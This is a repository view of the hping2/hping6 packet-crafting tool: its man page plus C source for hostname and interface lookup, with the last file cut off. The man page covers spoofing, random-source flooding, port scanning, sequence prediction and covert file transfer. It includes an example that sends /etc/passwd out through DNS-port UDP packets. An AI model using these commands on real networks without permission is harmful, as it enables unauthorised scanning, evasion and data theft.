2001 Aug 14 HPING2(8)

738
docs/hping2.8 Normal file
View File

@ -0,0 +1,738 @@
.TH HPING2 8 "2001 Aug 14"
.SH NAME
hping6 \- send (almost) arbitrary TCP/IP packets to network hosts
.SH SYNOPSIS
.B hping6
[
.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG6
] [
.B \-c
.I count
] [
.B \-i
.I wait
] [
.B \-\-fast
] [
.B \-I
.I interface
] [
.B \--lhs
.I bytes
] [
.B \-9
.I signature
] [
.B \-a
.I host
] [
.B \-t
.I ttl
] [
.B \-N
.I ip id
] [
.B \-H
.I ip protocol
] [
.B \-g
.I fragoff
] [
.B \-m
.I mtu
] [
.B \-o
.I tos
] [
.B \-C
.I icmp type
] [
.B \-K
.I icmp code
] [
.B \-s
.I source port
] [
.B \-p[+][+]
.I dest port
] [
.B \-w
.I tcp window
] [
.B \-O
.I tcp offset
] [
.B \-M
.I tcp sequence number
] [
.B \-L
.I tcp ack
] [
.B \-d
.I data size
] [
.B \-E
.I filename
] [
.B \-e
.I signature
] [
.B \-\-icmp\-ipver
.I version
] [
.B \-\-icmp\-iphlen
.I length
] [
.B \-\-icmp\-iplen
.I length
] [
.B \-\-icmp\-ipid
.I id
] [
.B \-\-icmp\-ipproto
.I protocol
] [
.B \-\-icmp\-cksum
.I checksum
] [
.B \-\-icmp\-ts
] [
.B \-\-icmp\-addr
] [
.B \-\-tcpexitcode
] [
.B \-\-tcp-timestamp
] [
.B \-\-tr-stop
] [
.B \-\-tr-keep-ttl
] [
.B \-\-tr-no-rtt
] [
.B \-\-rand-dest
] [
.B \-\-rand-source
] [
.B \-\-bps
.I bitrate
] [
.B \-\-pps
.I packetrate
]
hostname
.br
.ad
.SH DESCRIPTION
hping2 is a network tool able to send custom TCP/IP packets and to
display target replies like ping program does with ICMP replies. hping2
handle fragmentation, arbitrary packets body and size and can be used in
order to transfer files encapsulated under supported protocols. Using
hping2 you are able to perform at least the following stuff:
- Test firewall rules
- Advanced port scanning
- Test net performance using different protocols,
packet size, TOS (type of service) and fragmentation.
- Path MTU discovery
- Transferring files between even really fascist firewall
rules.
- Traceroute-like under different protocols.
- Firewalk-like usage.
- Remote OS fingerprinting.
- TCP/IP stack auditing.
- A lot of others.
.IR "It's also a good didactic tool to learn TCP/IP" .
hping2 is developed and maintained by antirez@invece.org and is
licensed under GPL version 2. Development is open so you can send
me patches, suggestion and affronts without inhibitions.
.SH HPING SITE
primary site at
.BR http://www.hping.org .
You can found both the stable release and the instruction
to download the latest source code at http://www.hping.org/download.html
.SH BASE OPTIONS
.TP
.I -h --help
Show an help screen on standard output, so you can pipe to less.
.TP
.I -v --version
Show version information and API used to access to data link layer,
.I linux sock packet
or
.IR libpcap.
.TP
.I -c --count count
Stop after sending (and receiving)
.I count
response packets. After last packet was send hping2 wait COUNTREACHED_TIMEOUT
seconds target host replies. You are able to tune COUNTREACHED_TIMEOUT editing
hping2.h
.TP
.I -i --interval
Wait
the specified number of seconds or micro seconds between sending each packet.
--interval X set
.I wait
to X seconds, --interval uX set
.I wait
to X micro seconds.
The default is to wait
one second between each packet. Using hping2 to transfer files tune this
option is really important in order to increase transfer rate. Even using
hping2 to perform idle/spoofing scanning you should tune this option, see
.B HPING2-HOWTO
for more information.
.TP
.I --fast
Alias for -i u10000. Hping will send 10 packets for second.
.TP
.I --faster
Alias for -i u1. Faster than --fast ;) (but not as fast as your computer can send packets due to the signal-driven design).
.TP
.I --bps bitrate
Send bitrate bits per second, no response packet checking.
.TP
.I --pps packetrate
Send packetrate packets per second, no response packet checking.
.TP
.I -n --numeric
Numeric output only, No attempt will be made to lookup symbolic names for host addresses.
.TP
.I -q --quiet
Quiet output. Nothing is displayed except the summary lines at
startup time and when finished.
.TP
.I -I --interface interface name
By default on linux and BSD systems hping2 uses default routing interface.
In other systems or when there is no default route
hping2 uses the first non-loopback interface.
However you are able to force hping2 to use the interface you need using
this option. Note: you don't need to specify the whole name, for
example -I et will match eth0 ethernet0 myet1 et cetera. If no interfaces
match hping2 will try to use lo.
.TP
.I --lhs bytes
Override the automatically detected link header size.
.TP
.I -V --verbose
Enable verbose output. TCP replies will be shown as follows:
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
.TP
.I -D --debug
Enable debug mode, it's useful when you experience some problem with
hping2. When debug mode is enabled you will get more information about
.B interface detection, data link layer access, interface settings, options
.B parsing, fragmentation, HCMP protocol
and other stuff.
.TP
.I -z --bind
Bind CTRL+Z to
.B time to live (TTL)
so you will able to increment/decrement ttl of outgoing packets pressing
CTRL+Z once or twice.
.TP
.I -Z --unbind
Unbind CTRL+Z so you will able to stop hping2.
.SH PROTOCOL SELECTION
Default protocol is TCP, by default hping2 will send tcp headers to target
host's port 0 with a winsize of 64 without any tcp flag on. Often this
is the best way to do an 'hide ping', useful when target is behind
a firewall that drop ICMP. Moreover a tcp null-flag to port 0 has a good
probability of not being logged.
.TP
.I -0 --rawip
RAW IP mode, in this mode hping2 will send IP header with data
appended with --signature and/or --file, see also --ipproto that
allows you to set the ip protocol field.
.TP
.I -1 --icmp
ICMP mode, by default hping2 will send ICMP echo-request, you can set
other ICMP type/code using
.B --icmptype --icmpcode
options.
.TP
.I -2 --udp
UDP mode, by default hping2 will send udp to target host's port 0.
UDP header tunable options are the following:
.B --baseport, --destport, --keep.
.TP
.I -6 --ipv6
IPv6 mode.
.TP
.I -8 --scan
Scan mode, the option expects an argument that describes groups of
ports to scan. port groups are comma separated: a number describes
just a single port, so 1,2,3 means port 1, 2 and 3. ranges are specified
using a start-end notation, like 1-1000, that tell hping to scan ports between 1 and 1000 (included). the special word
.B all
is an alias for 0-65535, while the special word
.B known
includes all the ports listed in /etc/services.
.br
Groups can be combined, so the following command line will
scan ports between 1 and 1000 AND port 8888 AND ports listed in /etc/services:
.B hping --scan 1-1000,8888,known -S target.host.com
.br
Groups can be negated (subtracted) using a ! character as prefix,
so the following command line will scan all the ports NOT listed
in /etc/services in the range 1-1024:
.B hping --scan '1-1024,!known' -S target.host.com
.br
Keep in mind that while hping seems much more like a port scanner in
this mode, most of the hping switches are still honored, so for example to
perform a SYN scan you need to specify the
.B -S
option, you can change the TCP windows size, TTL, control the
IP fragmentation as usually, and so on. The only real difference is that
the standard hping behaviors are encapsulated into a scanning
algorithm.
.br
.BR "Tech note" :
The scan mode uses a two-processes design, with shared memory for synchronization. The scanning algorithm is still not optimal, but already quite fast.
.br
.BR Hint :
unlike most scanners, hping shows some interesting info about received
packets, the IP ID, TCP win, TTL, and so on, don't forget to look
at this additional information when you perform a scan! Sometimes they
shows interesting details.
.TP
.I -9 --listen signature
HPING2 listen mode, using this option hping2 waits for packet that contain
.I signature
and dump from
.I signature
end to packet's end. For example if hping2 --listen TEST reads a packet
that contain
.B 234-09sdflkjs45-TESThello_world
it will display
.BR hello_world .
.SH IP RELATED OPTIONS
.TP
.I -a --spoof hostname
Use this option in order to set a fake IP source address, this option
ensures that target will not gain your real address. However replies
will be sent to spoofed address, so you will can't see them. In order
to see how it's possible to perform spoofed/idle scanning see the
.BR HPING2-HOWTO .
.TP
.I --rand-source
This option enables the
.BR "random source mode" .
hping will send packets with random source address. It is interesting
to use this option to stress firewall state tables, and other
per-ip basis dynamic tables inside the TCP/IP stacks and firewall
software.
.TP
.I --rand-dest
This option enables the
.BR "random destination mode" .
hping will send the packets to random addresses obtained following
the rule you specify as the target host. You need to specify
a numerical IP address as target host like
.BR 10.0.0.x .
All the occurrences of
.B x
will be replaced with a random number in the range 0-255. So to obtain
Internet IP addresses in the whole IPv4 space use something like
.BR "hping x.x.x.x --rand-dest" .
If you are not sure about what kind of addresses your rule is generating
try to use the
.B --debug
switch to display every new destination address generated.
When this option is turned on, matching packets will be accept from all
the destinations.
.br
.BR Warning :
when this option is enabled hping can't detect the right outgoing
interface for the packets, so you should use the
.B --interface
option to select the desired outgoing interface.
.TP
.I -t --ttl time to live
Using this option you can set
.B TTL (time to live)
of outgoing packets, it's likely that you will use this with
.B --traceroute
or
.B --bind
options. If in doubt try
.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'."
.TP
.I -N --id
Set ip->id field. Default id is random but if fragmentation is turned on
and id isn't specified it will be
.BR "getpid() & 0xFF" ,
to implement a better solution is in TODO list.
.TP
.I -H --ipproto
Set the ip protocol in RAW IP mode.
.TP
.I -W --winid
id from Windows* systems before Win2k has different byte ordering, if this
option is enable
hping2 will properly display id replies from those Windows.
.TP
.I -r --rel
Display id increments instead of id. See the
.B HPING2-HOWTO
for more information. Increments aren't computed as id[N]-id[N-1] but
using packet loss compensation. See relid.c for more information.
.TP
.I -f --frag
Split packets in more fragments, this may be useful in order to test
IP stacks fragmentation performance and to test if some
packet filter is so weak that can be passed using tiny fragments
(anachronistic). Default 'virtual mtu' is 16 bytes. see also
.I --mtu
option.
.TP
.I -x --morefrag
Set more fragments IP flag, use this option if you want that target
host send an
.BR "ICMP time-exceeded during reassembly" .
.TP
.I -y --dontfrag
Set don't fragment IP flag, this can be used to perform
.BR "MTU path discovery" .
.TP
.I -g --fragoff fragment offset value
Set the fragment offset.
.TP
.I -m --mtu mtu value
Set different 'virtual mtu' than 16 when fragmentation is enabled. If
packets size is greater that 'virtual mtu' fragmentation is automatically
turned on.
.TP
.I -o --tos hex_tos
Set
.BR "Type Of Service (TOS)" ,
for more information try
.BR "--tos help" .
.TP
.I -G --rroute
Record route. Includes the RECORD_ROUTE option in each packet sent and
displays the route buffer of returned packets. Note that the IP header
is only large enough for nine such routes. Many hosts ignore or discard
this option. Also note that using hping you are able to use record route
even if target host filter ICMP. Record route is an IP option, not
an ICMP option, so you can use record route option even in TCP and UDP
mode.
.SH ICMP RELATED OPTIONS
.TP
.I -C --icmptype type
Set icmp type, default is
.B ICMP echo request
(implies --icmp).
.TP
.I -K --icmpcode code
Set icmp code, default is 0 (implies --icmp).
.TP
.I --icmp-ipver
Set IP version of IP header contained into ICMP data, default is 4.
.TP
.I --icmp-iphlen
Set IP header length of IP header contained into ICMP data, default is 5 (5 words of 32 bits).
.TP
.I --icmp-iplen
Set IP packet length of IP header contained into ICMP data, default is the real
length.
.TP
.I --icmp-ipid
Set IP id of IP header contained into ICMP data, default is random.
.TP
.I --icmp-ipproto
Set IP protocol of IP header contained into ICMP data, default is TCP.
.TP
.I --icmp-cksum
Set ICMP checksum, for default is the valid checksum.
.TP
.I --icmp-ts
Alias for --icmptype 13 (to send ICMP timestamp requests).
.TP
.I --icmp-addr
Alias for --icmptype 17 (to send ICMP address mask requests).
.SH TCP/UDP RELATED OPTIONS
.TP
.I -s --baseport source port
hping2 uses source port in order to guess replies sequence number. It
starts with a base source port number, and increase this number for each
packet sent. When packet is received sequence number can be computed as
.IR "replies.dest.port - base.source.port" .
Default base source port is random, using this option you are able to
set different number. If you need that source port not be increased for
each sent packet use the
.I -k --keep
option.
.TP
.I -p --destport [+][+]dest port
Set destination port, default is 0. If '+' character precedes dest port
number (i.e. +1024) destination port will be increased for each reply
received. If double '+' precedes dest port number (i.e. ++1024), destination
port will be increased for each packet sent.
By default destination port can be modified interactively using
.BR CTRL+z .
.TP
.I --keep
keep still source port, see
.I --baseport
for more information.
.TP
.I -w --win
Set TCP window size. Default is 64.
.TP
.I -O --tcpoff
Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
.TP
.I -M --setseq
Set the TCP sequence number.
.TP
.I -L --setack
Set the TCP ack.
.TP
.I -Q --seqnum
This option can be used in order to collect sequence numbers generated
by target host. This can be useful when you need to analyze whether
TCP sequence number is predictable. Output example:
.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
.nf
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
2361294848 +2361294848
2411626496 +50331648
2545844224 +134217728
2713616384 +167772160
2881388544 +167772160
3049160704 +167772160
3216932864 +167772160
3384705024 +167772160
3552477184 +167772160
3720249344 +167772160
3888021504 +167772160
4055793664 +167772160
4223565824 +167772160
.fi
The first column reports the sequence number, the second difference
between current and last sequence number. As you can see target host's sequence
numbers are predictable.
.TP
.I -b --badcksum
Send packets with a bad UDP/TCP checksum.
.TP
.I --tcp-timestamp
Enable the TCP timestamp option, and try to guess the timestamp update
frequency and the remote system uptime.
.TP
.I -F --fin
Set FIN tcp flag.
.TP
.I -S --syn
Set SYN tcp flag.
.TP
.I -R --rst
Set RST tcp flag.
.TP
.I -P --push
Set PUSH tcp flag.
.TP
.I -A --ack
Set ACK tcp flag.
.TP
.I -U --urg
Set URG tcp flag.
.TP
.I -X --xmas
Set Xmas tcp flag.
.TP
.I -Y --ymas
Set Ymas tcp flag.
.SH COMMON OPTIONS
.TP
.I -d --data data size
Set packet body size. Warning, using --data 40 hping2 will not generate
0 byte packets but protocol_header+40 bytes. hping2 will display
packet size information as first line output, like this:
.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes
.TP
.I -E --file filename
Use
.B filename
contents to fill packet's data.
.TP
.I -e --sign signature
Fill first
.I signature length
bytes of data with
.IR signature .
If the
.I signature length
is bigger than data size an error message will be displayed.
If you don't specify the data size hping will use the signature
size as data size.
This option can be used safely with
.I --file filename
option, remainder data space will be filled using
.IR filename .
.TP
.I -j --dump
Dump received packets in hex.
.TP
.I -J --print
Dump received packets' printable characters.
.TP
.I -B --safe
Enable safe protocol, using this option lost packets in file transfers
will be resent. For example in order to send file /etc/passwd from host
A to host B you may use the following:
.nf
.I [host_a]
.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
.I [host_b]
.B # hping2 host_a --listen signature --safe --icmp
.fi
.TP
.I -u --end
If you are using
.I --file filename
option, tell you when EOF has been reached. Moreover prevent that other end
accept more packets. Please, for more information see the
.BR HPING2-HOWTO .
.TP
.I -T --traceroute
Traceroute mode. Using this option hping2 will increase ttl for each
.B ICMP time to live 0 during transit
received. Try
.BR "hping2 host --traceroute" .
This option implies --bind and --ttl 1. You can override the ttl of 1
using the --ttl option. Since 2.0.0 stable it prints RTT information.
.TP
.I --tr-keep-ttl
Keep the TTL fixed in traceroute mode, so you can monitor just one hop
in the route. For example, to monitor how the 5th hop changes or
how its RTT changes you can try
.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" .
.TP
.I --tr-stop
If this option is specified hping will exit once the first packet
that isn't an ICMP time exceeded is received. This better emulates
the traceroute behavior.
.TP
.I --tr-no-rtt
Don't show RTT information in traceroute mode. The ICMP time exceeded RTT
information aren't even calculated if this option is set.
.TP
.I --tcpexitcode
Exit with last received packet tcp->th_flag as exit code. Useful for scripts
that need, for example, to known if the port 999 of some host reply with
SYN/ACK or with RST in response to SYN, i.e. the service is up or down.
.SH TCP OUTPUT FORMAT
The standard TCP output format is the following:
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
.B len
is the size, in bytes, of the data captured from the data link layer
excluding the data link header size. This may not match the IP datagram
size due to low level transport layer padding.
.B ip
is the source ip address.
.B flags
are the TCP flags, R for RESET, S for SYN, A for ACK, F for FIN,
P for PUSH, U for URGENT, X for not standard 0x40, Y for not standard
0x80.
If the reply contains
.B DF
the IP header has the don't fragment bit set.
.B seq
is the sequence number of the packet, obtained using the source
port for TCP/UDP packets, the sequence field for ICMP packets.
.B id
is the IP ID field.
.B win
is the TCP window size.
.B rtt
is the round trip time in milliseconds.
If you run hping using the
.B -V
command line switch it will display additional information about the
packet, example:
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0
.B tos
is the type of service field of the IP header.
.B iplen
is the IP total len field.
.B seq and ack
are the sequence and acknowledge 32bit numbers in the TCP header.
.B sum
is the TCP header checksum value.
.B urp
is the TCP urgent pointer value.
.SH UDP OUTPUT FORMAT
The standard output format is:
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
The field meaning is just the same as the TCP output meaning of the
same fields.
.SH ICMP OUTPUT FORMAT
An example of ICMP output is:
ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
It is very simple to understand. It starts with the string "ICMP"
followed by the description of the ICMP error, Port Unreachable
in the example. The ip field is the IP source address of the IP
datagram containing the ICMP error, the name field is just the
numerical address resolved to a name (a dns PTR request) or UNKNOWN if the
resolution failed.
The ICMP Time exceeded during transit or reassembly format is a bit
different:
TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net
TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN
The only difference is the description of the error, it starts with
TTL 0.
.SH AUTHOR
Salvatore Sanfilippo <antirez@invece.org>, with the help of the people mentioned in AUTHORS file and at http://www.hping.org/authors.html
.SH BUGS
Even using the --end and --safe options to transfer files the final packet
will be padded with 0x00 bytes.
.PP
Data is read without care about alignment, but alignment is enforced
in the data structures.
This will not be a problem under i386 but, while usually the TCP/IP
headers are naturally aligned, may create problems with different
processors and bogus packets if there is some unaligned access around
the code (hopefully none).
.PP
On solaris hping does not work on the loopback interface. This seems
a solaris problem, as stated in the tcpdump-workers mailing list,
so the libpcap can't do nothing to handle it properly.
.SH SEE ALSO
ping(8), traceroute(8), ifconfig(8), nmap(1)

54
gethostname.c Normal file
View File

@ -0,0 +1,54 @@
/*
* $smu-mark$
* $name: gethostname.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 8$
*/
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include "hping2.h"
#include "globals.h"
size_t strlcpy(char *dst, const char *src, size_t siz);
char *get_hostname(const char* addr)
{
static char answer[1024];
static char lastreq[1024] = {'\0'}; /* last request */
struct hostent *he;
struct in6_addr naddr6;
static char *last_answerp = NULL;
printf(" get hostname..."); fflush(stdout);
printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"
" "
"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");
if (!strcmp(addr, lastreq))
return last_answerp;
strlcpy(lastreq, addr, 1024);
inet_pton(opt_af, addr, &naddr6);
he = gethostbyaddr((char*)&naddr6, sizeof(naddr6), opt_af);
if (he == NULL) {
last_answerp = NULL;
return NULL;
}
strlcpy(answer, he->h_name, 1024);
last_answerp = answer;
return answer;
}

413
getifname.c Normal file
View File

@ -0,0 +1,413 @@
/* getifname.c -- network interface handling
* Copyright(C) 1999,2000,2001 Salvatore Sanfilippo <antirez@invece.org>
* Copyright(C) 2001 by Nicolas Jombart <Nicolas.Jombart@hsc.fr>
* This code is under the GPL license */
/* BSD support thanks to Nicolas Jombart <Nicolas.Jombart@hsc.fr> */
#include <stdio.h> /* perror */
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h> /* struct sockaddr_in */
#include <arpa/inet.h> /* inet_ntoa */
#include <net/if.h>
#include <unistd.h> /* close */
#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || \
defined(__bsdi__) || defined(__APPLE__)
#include <stdlib.h>
#include <ifaddrs.h>
#include <net/route.h>
#endif /* defined(__*BSD__) */
#include "hping2.h"
#include "globals.h"
#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \
!defined(__linux__) && !defined(__sun__) && !defined(__bsdi__) && \
!defined(__APPLE__)
#error Sorry, interface code not implemented.
#endif
#ifdef __sun__
#include <sys/sockio.h>
#include <net/route.h>
#include <net/if_dl.h>
#endif
static int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip);
#if (defined OSTYPE_LINUX) || (defined __sun__)
char *
get_v6_if_name(__u8 *ip)
{
FILE *fd;
char buf[1024];
char addr[33];
int i;
for(i = 0; i < 16; i++)
sprintf(addr + i * 2, "%02x", ip[i]);
if(!(fd = fopen("/proc/net/if_inet6", "r")))
{
perror("Warning: Unable to open /proc/net/if_inet6\n");
return NULL;
}
while(fgets(buf, sizeof(buf), fd))
{
if(!strncmp(buf, addr, 32))
{
sscanf(buf, "%*32s %*02x %*02x %*02x %*02x %40s\n", ifname);
return ifname;
}
}
fclose(fd);
return NULL;
}
int get_if_name(void)
{
int fd;
struct ifconf ifc;
struct ifreq ibuf[16],
ifr,
*ifrp,
*ifend;
struct SOCKADDR sa;
struct SOCKADDR output_if_addr;
int known_output_if = 0;
/* Try to get the output interface address according to
* the OS routing table */
if (ifname[0] == '\0') {
if (get_output_if(&remote, &output_if_addr) == 0) {
known_output_if = 1;
inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr));
if(opt_ipv6)
get_v6_if_name((__u8 *)&((struct sockaddr_in6*)&output_if_addr)->sin6_addr.s6_addr);
memcpy(&local, &output_if_addr, sizeof(local));
if (opt_debug)
printf("DEBUG: Output interface address: %s\n",
ifstraddr);
} else {
fprintf(stderr, "Warning: Unable to guess the output "
"interface\n");
}
}
if ( (fd = socket(opt_af, SOCK_DGRAM, 0)) == -1) {
perror("[get_if_name] socket(AF_INET, SOCK_DGRAM, 0)");
return -1;
}
memset(ibuf, 0, sizeof(struct ifreq)*16);
ifc.ifc_len = sizeof ibuf;
ifc.ifc_buf = (caddr_t) ibuf;
ifrp = ibuf;
if(ifname[0] == 0)
{
/* gets interfaces list */
if ( ioctl(fd, SIOCGIFCONF, (char*)&ifc) == -1 ||
ifc.ifc_len < sizeof(struct ifreq) ) {
perror("[get_if_name] ioctl(SIOCGIFCONF)");
close(fd);
return -1;
}
/* ifrp points to buffer and ifend points to buffer's end */
ifend = (struct ifreq*) ((char*)ibuf + ifc.ifc_len);
}
else
ifend = ifrp + 1;
for (; ifrp < ifend; ifrp++) {
if(ifname[0] == 0)
strlcpy(ifr.ifr_name, ifrp->ifr_name, sizeof(ifr.ifr_name));
else
strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
if ( ioctl(fd, SIOCGIFFLAGS, (char*)&ifr) == -1) {
if (opt_debug)
perror("DEBUG: [get_if_name] ioctl(SIOCGIFFLAGS)");
continue;
}
if (opt_debug)
printf("DEBUG: if %s: ", ifr.ifr_name);
/* Down interface? */
if ( !(ifr.ifr_flags & IFF_UP) )
{
if (opt_debug)
printf("DOWN\n");
continue;
}
if(!opt_ipv6)
{
if (known_output_if) {
/* Get the interface address */
if (ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) {
perror("[get_if_name] ioctl(SIOCGIFADDR)");
continue;
}
/* Copy it */
memcpy(&sa, &ifr.ifr_addr,
sizeof(struct sockaddr_in));
/* Check if it is what we are looking for */
if ((*(struct sockaddr_in*)&sa).sin_addr.s_addr !=
(*(struct sockaddr_in*)&output_if_addr).sin_addr.s_addr) {
if (opt_debug)
printf("The address doesn't match\n");
continue;
}
} else if (ifname[0] != '\0' && !strstr(ifr.ifr_name, ifname)) {
if (opt_debug)
printf("Don't Match (but seems to be UP)\n");
continue;
}
}
if (opt_debug)
printf("OK\n");
/* interface found, save if name */
strlcpy(ifname, ifr.ifr_name, 1024);
/* get if address */
if(!known_output_if)
{
if ( ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) {
perror("DEBUG: [get_if_name] ioctl(SIOCGIFADDR)");
exit(1);
}
/* save if address */
memcpy(&sa, &ifr.ifr_addr,
sizeof(struct sockaddr_in));
inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr));
}
/* get if mtu */
if ( ioctl(fd, SIOCGIFMTU, (char*)&ifr) == -1) {
perror("Warning: [get_if_name] ioctl(SIOCGIFMTU)");
fprintf(stderr, "Using a fixed MTU of 1500\n");
h_if_mtu = 1500;
}
else
{
#ifdef __sun__
/* somehow solaris is braidamaged in wrt ifr_mtu */
h_if_mtu = ifr.ifr_metric;
#else
h_if_mtu = ifr.ifr_mtu;
#endif
}
close(fd);
return 0;
}
/* interface not found, use 'lo' */
strlcpy(ifname, "lo", 1024);
if(ifstraddr[0] == 0)
{
if(opt_ipv6)
strcpy(ifstraddr, "::1");
else
strcpy(ifstraddr, "127.0.0.1");
}
h_if_mtu = 1500;
close(fd);
return 0;
}
#elif defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) || \
defined(__bsdi__) || defined(__APPLE__)
/* return interface informations :
- from the specified (-I) interface
- from the routing table
- or at least from the first UP interface found
*/
int get_if_name(void)
{
/* variable declarations */
struct ifaddrs *ifap, *ifa;
char current_if_name[24];
char saved_ifname[24];
struct SOCKADDR output_if_addr;
char tmp[1024];
#ifdef __NetBSD__
int s;
struct ifreq ifr;
#endif /* __NetBSD__ */
if (getifaddrs(&ifap) < 0)
perror("getifaddrs");
saved_ifname[0] = 0;
/* lookup desired interface */
if(ifname[0] == 0) {
/* find gateway interface from kernel */
if (get_output_if(&remote, &output_if_addr) == 0) {
if (opt_debug)
printf("DEBUG: Output interface address: %s\n",
inet_ntop(opt_af, ADDR(&output_if_addr), tmp, sizeof(tmp)));
/* Put something in saved_ifname in order to tell
that the output adress is known */
saved_ifname[0] = 'X'; saved_ifname[1] = 0;
} else {
fprintf(stderr, "Warning: Unable to guess the output "
"interface\n");
}
}
else {
/* use the forced interface name */
strlcpy(saved_ifname,ifname,24);
}
/* get interface information */
for (ifa = ifap; ifa; ifa = ifa->ifa_next) {
if (opt_debug) printf("\n DEBUG: if %s: ", ifa->ifa_name);
/* print if the data structure is null or not */
if (ifa->ifa_data) {
if(opt_debug) printf("DEBUG: (struct DATA) "); }
else
if(opt_debug) printf("DEBUG: (struct DATA is NULL) ");
if (!(ifa->ifa_flags & IFF_UP)) { /* if down */
if (opt_debug)
printf("DEBUG: DOWN");
continue;
}
if ((ifa->ifa_flags & IFF_LOOPBACK)&&
(strncmp(saved_ifname,"lo0",3))) { /* if loopback */
if (opt_debug)
printf("DEBUG: LOOPBACK, SKIPPED");
continue;
}
if (ifa->ifa_addr->sa_family == AF_LINK) {
if (opt_debug)
printf("DEBUG: AF_LINK ");
strlcpy(ifname,ifa->ifa_name,1024);
strlcpy(current_if_name,ifa->ifa_name,24);
/* I don't know why NetBSD behavior is not the same */
#ifdef __NetBSD__
memset( &ifr, 0, sizeof(ifr));
strlcpy(ifr.ifr_name, ifa->ifa_name, sizeof(ifr.ifr_name));
if( sizeof(ifr.ifr_addr) >= ifa->ifa_addr->sa_len )
memcpy(&ifr.ifr_addr, ifa->ifa_addr,
ifa->ifa_addr->sa_len);
if( (s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
perror("[get_if_name] socket");
return -1;
}
if (ioctl(s, SIOCGIFMTU, (caddr_t)&ifr) < 0) h_if_mtu = 0;
else h_if_mtu = ifr.ifr_mtu;
close(s);
#else
if( ifa->ifa_data )
h_if_mtu = ((struct if_data *)ifa->ifa_data)->ifi_mtu;
else {
h_if_mtu = 1500;
fprintf(stderr, "Warning: fixing MTU to 1500 !\n");
}
#endif /* __NetBSD__ */
continue;
}
if (ifa->ifa_addr->sa_family == AF_INET6) {
if (opt_debug)
printf("AF_INET6 ");
continue;
}
if (ifa->ifa_addr->sa_family == AF_INET) {
if (opt_debug)
printf("AF_INET ");
if(strncmp(ifa->ifa_name,current_if_name,24))
continue; /* error */
if(opt_debug) printf("OK\n");
strlcpy(ifname,ifa->ifa_name,1024);
strlcpy(ifstraddr,
inet_ntoa(((struct sockaddr_in *)ifa->ifa_addr)->sin_addr),
1024);
if( (saved_ifname[0] == 0) ||
(!strncmp(ifa->ifa_name, saved_ifname, 24)) ||
(((struct sockaddr_in *)ifa->ifa_addr)->sin_addr.s_addr ==
output_if_addr.sin_addr.s_addr) )
break; /* asked if found or first UP interface */
}
/* interface not found, use hardcoded 'lo' */
strlcpy(ifname, "lo0", 1024);
strlcpy(ifstraddr, "127.0.0.1", 1024);
h_if_mtu = 1500;
}
freeifaddrs(ifap);
return 0;
}
#endif /* __*BSD__ */
/* Try to obtain the IP address of the output interface according
* to the OS routing table. Derived from R.Stevens */
int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip)
{
int sock_rt, on=1;
struct SOCKADDR iface_out;
unsigned int len;
if(opt_ipv6)
len = sizeof(struct sockaddr_in6);
else
len = sizeof(struct sockaddr_in);
memset(&iface_out, 0, sizeof(iface_out));
sock_rt = socket(opt_af, SOCK_DGRAM, 0);
// dest->sin_port = htons(11111);
if (setsockopt(sock_rt, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
== -1) {
if (opt_debug)
perror("DEBUG: [get_output_if] setsockopt(SOL_SOCKET, "
"SO_BROADCAST");
close(sock_rt);
return -1;
}
if (connect(sock_rt, (struct sockaddr*)dest, len) == -1 ) {
if (opt_debug)
perror("DEBUG: [get_output_if] connect");
close(sock_rt);
return -1;
}
if (getsockname(sock_rt, (struct sockaddr *)&iface_out, &len) == -1 ) {
if (opt_debug)
perror("DEBUG: [get_output_if] getsockname");
close(sock_rt);
return -1;
}
close(sock_rt);
// if (iface_out.sin_addr.s_addr == 0)
// return 1;
memcpy(ifip, &iface_out, len);
return 0;
}

98
getlhs.c Normal file
View File

@ -0,0 +1,98 @@
/*
* $smu-mark$
* $name: getlhs.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 8$
*/
/* $Id: getlhs.c,v 1.10 2003/07/25 12:11:24 njombart Exp $ */
#include <string.h>
